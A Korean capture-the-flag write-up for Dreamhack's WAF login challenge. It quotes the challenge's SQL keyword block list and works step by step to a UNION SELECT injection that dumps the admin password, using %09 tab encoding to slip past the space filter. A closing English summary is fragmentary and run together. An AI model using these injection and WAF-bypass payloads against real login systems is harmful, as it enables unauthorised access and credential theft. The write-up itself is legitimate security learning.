
https://dreamhack.io/wargame/challenges/415
WAF을 실습할 수 있는 로그인 서비스입니다. admin으로 접속해 플래그를 획득하는 것이 목표입니다.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
부분을 보면 특정 키워드가 요청 데이터에 포함되면 접속을 막는 웹 방화벽 필터 역할을 한다는 것을 알 수 있습니다.
2. 대/소문자 구분을 하기 때문에 ADMIN으로 접속해 보았습니다. WAF 키워드 차단에는 걸리지 않지만 DB에 존재하는 admin과 다른 값이므로 로그인 실패하였습니다. 다른 방법이 필요함을 알 수 있습니다.
3. 유니온을 사용하여
' UNION SELECT 1, upw, 3 FROM user WHERE uid='ADMIN';--
를 입력합니다.

이때 백엔드를 확인해 보면
if result:
return template.format(uid=uid, result=result[1])
란 코드가 있습니다. 이는 uid, 즉 2번째 컬럼만 화면에 출력이 되기 때문에(result=result[1] 로 확인 가능) 우리가 알고싶은 upw를 2번째 컬럼 자리에 넣어줍니다.
4. 하지만 공백 또한 키워드로 필터링 됩니다. > 공백을 없애야 합니다.
5. SQL injection 공백 우회 키워드인 %09를 공백 사이사이에 끼어 넣어줍니다.
6.
'%09UNION%09SELECT%091,upw,3%09FROM%09user%09WHERE%09uid='ADMIN';--
을 입력해보았지만, 입력창에 직접 입력하면 오류가 떴습니다.


입력창에 직접 입력했을때는 %09를 브라우저에서 자동으로 디코딩 되었기 때문에 WAF에 걸렸습니다! > URL 주소창에 직접 입력하면 %09가 그대로 전달되고, 서버에서 URL decoding 이후 WAF 필터링을 적용하기 때문에, URL 인코딩으로 필터 우회 가능합니다.

WAF 우회에 성공했고, 플래그를 얻을 수 있었습니다.

admin for the flag.union, select, from, and spaces.ADMIN but failed.' UNION SELECT 1, upw, 3 FROM user WHERE uid='ADMIN';--
to get the password in the second column.
%09 (URL-encoded tab) instead.%09.